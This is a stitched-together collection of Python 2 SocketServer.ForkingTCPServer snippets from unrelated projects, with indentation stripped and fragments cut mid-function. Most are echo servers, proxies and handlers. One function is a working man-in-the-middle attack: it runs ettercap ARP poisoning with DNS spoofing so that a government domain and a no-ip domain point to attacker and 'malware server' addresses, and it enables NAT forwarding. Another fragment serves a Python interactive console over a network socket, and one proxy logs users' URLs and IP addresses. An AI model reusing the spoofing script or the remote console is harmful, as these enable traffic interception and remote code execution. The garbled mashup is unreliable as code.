def main():
# read and parse courses.json
# print(len(sys.argv))
# print("That's the number of command line arguments")
if (len(sys.argv) >= 2):
port = int(sys.argv[1])
SocketServer.ForkingTCPServer(('', port), Reply).serve_forever()
else:
SocketServer.ForkingTCPServer(('', 8080), Reply).serve_forever()
def start_server():
# 这里是主进程
addr = ("127.0.0.1", 8888)
server = SocketServer.ForkingTCPServer(addr, Server)
print "启动 多进程 socket server ...", addr
server.serve_forever()
def server(port, docker_prefix):
server = SocketServer.ForkingTCPServer((host, port), Misc1Handler)
server.docker_prefix = docker_prefix
try:
server.serve_forever()
except KeyboardInterrupt:
server.shutdown()
raise
def begin():
port = PORT
if len(sys.argv) > 1 and sys.argv[1].isdigit():
port = int(sys.argv[1])
httpd = SocketServer.ForkingTCPServer(('', port), Proxy)
print "Proxy is listening on port", port
httpd.serve_forever()
def handle_noargs(self, **options):
address = (defaults.SERVER_HOST, defaults.SERVER_PORT)
server = SocketServer.ForkingTCPServer(address, StatisticsHandler)
server.serve_forever()
try:
server.serve_forever()
except KeyboardInterrupt:
pass
server.server_close()
def start(self):
address = (self._address, self._port)
if self._mode == "thread":
server = SocketServer.ThreadingTCPServer(address,
HTTPServerHandler)
else:
server = SocketServer.ForkingTCPServer(address, HTTPServerHandler)
host, port = server.socket.getsockname()[:2]
self.server_name = socket.getfqdn(host)
self.server_port = port
server.serve_forever()
def up_and_run():
tcp_server = SocketServer.ForkingTCPServer(
("0.0.0.0", 9000),
RequestHandlerClass=AsyncRequestHandler,
bind_and_activate=False)
tcp_server.allow_reuse_address = True
tcp_server.server_bind()
tcp_server.server_activate()
tcp_server.serve_forever()
def handle(self, **options):
socket_file = options.get("socket_file")
network_socket = options.get("network_socket")
threading = options.get("threading")
forking = options.get("forking")
if threading and forking:
raise CommandError("Pick one: threading or forking.")
if socket_file and network_socket:
raise CommandError("Only one socket allowed at a time")
if threading:
server_type = "threading"
elif forking:
server_type = "forking"
else:
server_type = "single-threaded"
self.stdout.write("Server type: %s\n" % (server_type, ))
if socket_file:
self.socket_file = os.path.abspath(socket_file)
self._check_socket_path(socket_file)
self.stdout.write("Binding to unix socket: %s\n" % (socket_file, ))
if threading:
server = SocketServer.ThreadingUnixStreamServer(
socket_file, EventNormalizeHandler)
server.daemon_threads = True
elif forking:
server = ForkingUnixStreamServer(socket_file,
EventNormalizeHandler)
else:
server = SocketServer.UnixStreamServer(socket_file,
EventNormalizeHandler)
elif network_socket:
host, port = network_socket.split(":")
port = int(port)
self.stdout.write("Binding to network socket: %s:%s\n" %
(host, port))
if threading:
server = SocketServer.ThreadingTCPServer((host, port),
EventNormalizeHandler)
server.daemon_threads = True
elif forking:
server = SocketServer.ForkingTCPServer((host, port),
EventNormalizeHandler)
else:
server = SocketServer.TCPServer((host, port),
EventNormalizeHandler)
else:
raise CommandError("No connection option specified")
server.serve_forever()
def handle(self, **options):
socket_file = options.get('socket_file')
network_socket = options.get('network_socket')
threading = options.get('threading')
forking = options.get('forking')
if threading and forking:
raise CommandError('Pick one: threading or forking.')
if socket_file and network_socket:
raise CommandError('Only one socket allowed at a time')
if threading:
server_type = 'threading'
elif forking:
server_type = 'forking'
else:
server_type = 'single-threaded'
self.stdout.write('Server type: %s\n' % (server_type, ))
if socket_file:
self.socket_file = os.path.abspath(socket_file)
self._check_socket_path(socket_file)
self.stdout.write('Binding to unix socket: %s\n' % (socket_file, ))
if threading:
server = SocketServer.ThreadingUnixStreamServer(
socket_file, EventNormalizeHandler)
server.daemon_threads = True
elif forking:
server = ForkingUnixStreamServer(socket_file,
EventNormalizeHandler)
else:
server = SocketServer.UnixStreamServer(socket_file,
EventNormalizeHandler)
elif network_socket:
host, port = network_socket.split(':')
port = int(port)
self.stdout.write('Binding to network socket: %s:%s\n' %
(host, port))
if threading:
server = SocketServer.ThreadingTCPServer((host, port),
EventNormalizeHandler)
server.daemon_threads = True
elif forking:
server = SocketServer.ForkingTCPServer((host, port),
EventNormalizeHandler)
else:
server = SocketServer.TCPServer((host, port),
EventNormalizeHandler)
else:
raise CommandError('No connection option specified')
server.serve_forever()
def run(target, gateway, malware_server_address):
#Configuration of /usr/share/ettercap/etter.dns etter.conf
#On ubuntu 13.04 /etc/ettercap/etter.dns etter.conf
input_stdin = Popen(split("echo pdns_spoof"), stdout=PIPE)
ettercap = Popen(split('ettercap -i wlan0 -T -q -P autoadd -M ARP:remote /'
'' + target + '/ /' + gateway + '/'),
stdin=input_stdin.stdout)
#ip_forward after ettercap may have set it to zero
#ADD DNS etter.conf TO SERVER IN VIRTUALBOX, VIRTUALBOX INTERNAL NETWORK
vbox0_address = netifaces.ifaddresses('vboxnet0')[
netifaces.AF_INET][0]['addr']
replaceAll('/etc/ettercap/etter.dns', '*.buenosaires.gob.ar A IP',
'*.buenosaires.gob.ar A ' + vbox0_address)
replaceAll('/etc/ettercap/etter.dns', 'malware-test.no-ip.info A IP',
'malware-test.no-ip.info A ' + malware_server_address)
#getOriginalJStoPoison()
server_address = ('0.0.0.0', 80)
SocketServer.ForkingTCPServer.allow_reuse_address = True
httpd = SocketServer.ForkingTCPServer(server_address,
BAComoLLegoHTTPRequestHandler)
#wait for ettercap to initialize and unset ip_forward
time.sleep(5)
Popen(split("iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE"),
stdout=PIPE).wait()
Popen(split("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE"),
stdout=PIPE).wait()
Popen(split("sysctl -w net.ipv4.ip_forward=1"), stdout=PIPE).wait()
#Popen(split("sysctl -p /etc/sysctl.conf"), stdout=PIPE).wait()
try:
print('http server is running...')
httpd.serve_forever()
except KeyboardInterrupt:
print "Exiting"
if os.path.exists('firstRun'):
print "removing first run flag"
os.remove('firstRun')
replaceAll('/etc/ettercap/etter.dns',
'*.buenosaires.gob.ar A ' + vbox0_address,
'*.buenosaires.gob.ar A IP')
replaceAll('/etc/ettercap/etter.dns',
'malware-test.no-ip.info A ' + malware_server_address,
'malware-test.no-ip.info A IP')
Popen(split(
"sudo iptables -t nat -D POSTROUTING -o wlan0 -j MASQUERADE"),
stdout=PIPE)
Popen(
split("sudo iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE"),
stdout=PIPE)
ettercap.terminate()
def main():
parser = create_parser()
namespace = parser.parse_args(sys.argv[1:])
server = None
try:
port, Proxy.domain = int(namespace.port), namespace.domain
server = SocketServer.ForkingTCPServer(('', port), Proxy)
if namespace.b:
print 'run browser'
webbrowser.open('%s:%s%s' % (Proxy.domain, port, URL_PATH))
print "Listening on port: ", port
server.serve_forever()
except KeyboardInterrupt:
if server:
server.socket.close()
except ValueError:
print 'Incorrect PORT'
def main():
import argparse
parser = argparse.ArgumentParser(description='Syntaxnet server.')
parser.add_argument('--host',
required=True,
help='Accepted hosts',
default='0.0.0.0')
parser.add_argument('--port',
required=True,
help='Listening port',
default=9999)
args = parser.parse_args()
sync_server = SocketServer.ForkingTCPServer((args.host, int(args.port)),
SyncHandler)
stdout_strm = configure_stdout()
sync_server.morpher_ = ProcessorSyntaxNet(CFG_MORPH_PARSER)
sync_server.tagger_ = ProcessorSyntaxNet(CFG_MORPH_TAGGER)
sync_server.parser_ = ProcessorSyntaxNet(CFG_SYNTAX_PARSER)
sync_server.serve_forever()
def main():
httpd = SocketServer.ForkingTCPServer(('', 7777), Handler)
httpd.serve_forever()
return
file_name,file_size_str = pre_data.split('|')
file_size =(int)(file_size_str)
recv_size = 0
file_dir = os.path.join(base_path,file_name+'.bak')
conn.sendall('send file please.')
f = open(file_dir,'wb')
while True:
if file_size > recv_size:
max_recv_size = min(recv_buf,file_size-recv_size)
data = conn.recv(max_recv_size)
recv_size += len(data)
else:
break
f.write(data)
print(file_name+' received')
f.close()
if __name__ == '__main__':
#SocketServer.ThreadingTCPServer.allow_reuse_address = True
#print SocketServer.ThreadingTCPServer.timeout
#instance = SocketServer.ThreadingTCPServer(('127.0.0.1',9000),myserver)
SocketServer.ForkingTCPServer.allow_reuse_address = True
print SocketServer.ForkingTCPServer.timeout
SocketServer.ForkingTCPServer.timeout = 60
instance = SocketServer.ForkingTCPServer(('127.0.0.1',9000),myserver)
instance.serve_forever()
#!/usr/bin/env python
import SocketServer
from time import ctime
import time
HOST = ''
PORT = 21566
ADDR = (HOST, PORT)
class MyRequestHandler(SocketServer.StreamRequestHandler):
def handle(self):
print '...connected from:', self.client_address
self.wfile.write('[%s] %s\n' %
(ctime(), self.rfile.readline().strip()))
time.sleep(100)
# tcpSerSock = SocketServer.ThreadingTCPServer(ADDR, MyRequestHandler)
SocketServer.ForkingTCPServer.allow_reuse_address = True
tcpSerSock = SocketServer.ForkingTCPServer(ADDR, MyRequestHandler)
print 'waiting for connection...'
tcpSerSock.serve_forever()
"""
Simple forking echo server built with Python's SocketServer library. A more
Pythonic version of http://gist.github.com/203520, which itself was inspired
by http://tomayko.com/writings/unicorn-is-unix.
"""
import os
import SocketServer
class EchoHandler(SocketServer.StreamRequestHandler):
def handle(self):
self.wfile.write('Child %s echo>' % os.getpid())
self.wfile.flush()
message = self.rfile.readline()
self.wfile.write(message)
print "Child %s echo'd: %r" % (os.getpid(), message)
if __name__ == '__main__':
server = SocketServer.ForkingTCPServer(('localhost', 4242), EchoHandler)
print "Server listening on localhost:4242..."
try:
server.serve_forever()
except KeyboardInterrupt:
print "\nbailing..."
#!/usr/bin/env python
# a truly minimal HTTP proxy
import SocketServer
import SimpleHTTPServer
import urllib
import socks
import socket
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5,"127.0.0.1",1080)
socket.socket = socks.socksocket
PORT = 1234
import os
class Proxy(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
# self.copyfile(os.system("proxychains wget %s"%(self.path)), self.wfile)
# proxies = {"socks5":"localhost:1080"}
# self.copyfile(urllib.urlopen(self.path,proxies=proxies), self.wfile)
self.copyfile(urllib.urlopen(self.path), self.wfile)
httpd = SocketServer.ForkingTCPServer(('', PORT), Proxy)
print "serving at port", PORT
httpd.serve_forever()
# CONNECT www.google.com.hk:443 HTTP/1.1" 501 socks.py 367
# 127.0.0.1 - - [05/Mar/2016 03:54:44] code 501, message Unsupported method ('CONNECT')
# 127.0.0.1 - - [05/Mar/2016 03:54:44] "CONNECT www.google.com.hk:443 HTTP/1.1" 501 -
class FastAGI(SocketServer.StreamRequestHandler):
# Close connections not finished in 5seconds.
timeout = 5
def handle(self):
try:
agi = asterisk.agi.AGI(stdin=self.rfile,
stdout=self.wfile,
stderr=sys.stderr)
agi.verbose("pyst2: FastAGI on: {}:{}".format(HOST, PORT))
except TypeError as e:
sys.stderr.write('Unable to connect to agi://{} {}\n'.format(
self.client_address[0], str(e)))
except SocketServer.socket.timeout as e:
sys.stderr.write('Timeout receiving data from {}\n'.format(
self.client_address))
except SocketServer.socket.error as e:
sys.stderr.write(
'Could not open the socket. Is someting else listening on this port?\n'
)
except Exception as e:
sys.stderr.write('An unknown error: {}\n'.format(str(e)))
if __name__ == "__main__":
# server = SocketServer.TCPServer((HOST, PORT), FastAGI)
server = SocketServer.ForkingTCPServer((HOST, PORT), FastAGI)
# Keep server running until CTRL-C is pressed.
server.serve_forever()
#!/usr/bin/env python
import SocketServer
import SimpleHTTPServer
import urllib2
import logging
from urlparse import urlparse
logging.basicConfig(level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s')
class Proxy(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
parsed_url = urlparse(self.path)
logging.info(parsed_url)
if parsed_url.netloc == "localhost":
self.copyfile(urllib2.urlopen(self.path), self.wfile)
SocketServer.TCPServer.allow_reuse_address = True
httpd = SocketServer.ForkingTCPServer(('', 8080), Proxy)
httpd.serve_forever()
# 执行 BaseServer.__init__ 方法，将自定义的继承自SocketServer.BaseRequestHandler 的类 MyRequestHandle赋值给self.RequestHandlerClass
# 执行 BaseServer.server_forever 方法，While 循环一直监听是否有客户端请求到达 ...
# 当客户端连接到达服务器
# 执行 ThreadingMixIn.process_request 方法，创建一个 “线程” 用来处理请求
# 执行 ThreadingMixIn.process_request_thread 方法
# 执行 BaseServer.finish_request 方法，执行 self.RequestHandlerClass() 即：执行 自定义 MyRequestHandler 的构造方法（自动调用基类BaseRequestHandler的构造方法，在该构造方法中又会调用 MyRequestHandler的handle方法）
# ThreadingTCPServer相关源码：（具体见网页）
# BaseServer
# TCPServer
# ThreadingMixIn
# ThreadingTCPServer
# RequestHandler相关源码:（具体见网页）
# SocketServer.BaseRequestHandler
# SocketServer的ThreadingTCPServer之所以可以同时处理请求得益于 select 和 Threading 两个东西，其实本质上就是在服务器端为每一个客户端创建一个线程，当前线程用来处理对应客户端的请求，所以，可以支持同时n个客户端链接（长连接）。
# ForkingTCPServer
# ForkingTCPServer和ThreadingTCPServer的使用和执行流程基本一致，只不过在内部分别为请求者建立 “线程” 和 “进程”。
# 基本使用：
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import SocketServer
class MyServer(SocketServer.BaseRequestHandler):
def handle(self):
pass
if __name__ == '__main__':
server = SocketServer.ForkingTCPServer(('127.0.0.1', 8009), MyServer)
server.serve_forever()
self.send_header('Vary', 'Accept-Encoding')
self.send_header('Connection', 'close')
self.send_header('Transfer-Encoding', 'chunked')
if 'asl' in query:
asl = int(query['asl'][0])
else:
asl = 0
lat,long = query['coord'][0].split(',')
if os.path.isfile('weather.json'):
jsonReport = json.loads(open('weather.json').read())
else:
jsonReport = json.loads(downloadReport(float(long), float(lat), asl))
if 'format' in query and int(query['format'][0]) == 1:
reply = generateCSV(jsonReport, asl)
self.send_header('Content-Type', 'text/plain')
else:
reply = generateXML(jsonReport, asl)
self.send_header('Content-Type', 'text/xml')
self.end_headers()
self.wfile.write("%x\r\n%s\r\n" % (len(reply), reply))
self.wfile.write("0\r\n\r\n")
else:
print(path)
print(urlparse.parse_qs(query))
self.send_response(404)
self.end_headers()
SocketServer.TCPServer.allow_reuse_address = True
httpd = SocketServer.ForkingTCPServer(('', LOXONE_WEATHER_SERVICE_PORT), Proxy)
httpd.serve_forever()
## Strip off whitespace chars at end of line.
reply = string.rstrip(outerr.getvalue())
##print reply
self.request.send(reply)
if r == 0:
prompt = "\r\n" + prompt_1 # CR\LF is for windows
else:
prompt = prompt_2
self.request.send(prompt)
self.request.close()
###############################################################################
host = defaultHost
port = defaultPort
if len(sys.argv) == 2: port = int(sys.argv[1])
addr = (host, port)
console = code.InteractiveConsole()
server = SocketServer.ForkingTCPServer(addr, MyHandler)
print banner,
print "Serving on port", port
server.serve_forever()
def start_listen2(self): server=SocketServer.ForkingTCPServer((self.server_ip,self.server_port),HandlerProcess) server.serve_forever()
def __init__(self, proxyClass, port=None):
if port is None:
port = 1234
self.port = port
self.server = SocketServer.ForkingTCPServer(('', self.port),
proxyClass)
len('/retrieval/ui/viewer/'):].split('?')[0]
# print filename
self.copyfile(open(filename, 'r'), self.wfile)
else:
proxiedurl = retrievalURL + self.path[len('/retrieval'):]
# print proxiedurl
self.copyfile(urllib.urlopen(proxiedurl), self.wfile)
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description=
'A python based proxy for serving the viewer for the EPICS Archiver Appliance'
)
parser.add_argument('port',
type=int,
help='Port that the proxy listens on')
parser.add_argument(
'retrievalURL',
help=
'The data retrieval URL (data_retrieval_url) for the appliance; for example, http://archiver.lab.edu:17668/retrieval'
)
args = parser.parse_args()
port = args.port
retrievalURL = args.retrievalURL
httpd = SocketServer.ForkingTCPServer(('', port), Proxy)
print "Listening on port", args.port, " and proxying", args.retrievalURL
httpd.serve_forever()
self.path = "http://" + domain + ":" + port + url
print "in Handle",self.path
print "Headers ", headers
try:
if self.headers == None:
req = urllib2.Request(self.path)
else:
req = urllib2.Request(self.path,None,headers)
try:
buff = urllib2.urlopen(req).read()
print "Dumping this back",buff
except:
buff = '''<!DOCTYPE HTML PUBLIC "-//IETF/DTD HTML
2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Blah </address>
</body></html>'''
self.request.sendall(buff)
except Exception,e:
print "Out Error",e
httpd = SocketServer.ForkingTCPServer(('',PORT),TCPHandler)
print "serving at %d port " % PORT
httpd.serve_forever()
### Group VPN project attempt
### Creators:
### - MrCraftyCreeper
### - MarvelousMatt04
### - LostLuke
#https tunnel thing can only take 1 connection atm as far as I know
import SocketServer, SimpleHTTPServer, urllib
PORT = 1000
class Getttps(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
store = open("udat.dat", "w+")
#encrypt this but not yet
file.write(str(self.path) + " ip: " + str(self.client_address))
url = self.path[1:]
self.send_response(200)
self.end_headers()
self.copyfile(urllib.urlopen(url), self.wfile)
httpd = SocketServer.ForkingTCPServer(('', PORT), Getttps)
print("Taking requests at " + str(PORT))
httpd.serve_forever()
def main():
# Read OIT feed before starting the server.
print("server is listening on port %s" % sys.argv[1])
SocketServer.ForkingTCPServer(
('', int(sys.argv[1])), Reply).serve_forever()
b = random.randint(2, 10)
c = 10
mod = pow(a, b, c)
startTime = millis()
self.request.sendall('\nPasskey Demo 1.0\n\n'\
'Changelog: <empty>\n\n'\
'This is a demo to show how your passkey will be entered.\n\n' \
'Hint, remember that your password fits in the equation\n' \
'' + str(a) + ' ^ (your_passkey) % 10 = ' + str(mod) + '\n\n' \
'Please enter your provided demo passkey.\n')
while True:
try:
l = int(self.recvall().strip())
except:
self.request.sendall("No, that was not in the right format\n")
return
if pow(a, l, c) == mod:
self.request.sendall("That is correct, you have completed the demo. flag{pr0bably_4_1ucky_gu3ss}\n")
return
else:
self.request.sendall("No, that is not your passkey. Try again.\n")
if __name__ == '__main__':
SocketServer.ForkingTCPServer.allow_reuse_address = True
server = SocketServer.ForkingTCPServer((HOST, PORT), connectionHandler)
server.serve_forever()
import SocketServer
from multiprocessing import Process
class FoxyServer(SocketServer.BaseRequestHandler):
def handle(self):
conn = self.request
conn.sendall('hello')
while True:
data = str(conn.recv(1024))
conn.sendall('server:' + data)
if __name__ == '__main__':
# 多进程监听多端口
server1 = SocketServer.ForkingTCPServer(('127.0.0.1', 8000), FoxyServer)
server1.max_children = 2
server2 = SocketServer.ForkingTCPServer(('127.0.0.1', 9000), FoxyServer)
server2.max_children = 2
p = Process(target=server2.serve_forever, args=())
p.start()
# server1需放在p.start后启动不然会阻塞进程，server2无法启动
server1.serve_forever()
p.join()
# # 多线程监听多端口
# server1 = SocketServer.ThreadingTCPServer(('127.0.0.1', 8000), FoxyServer)
# server1.max_children = 2
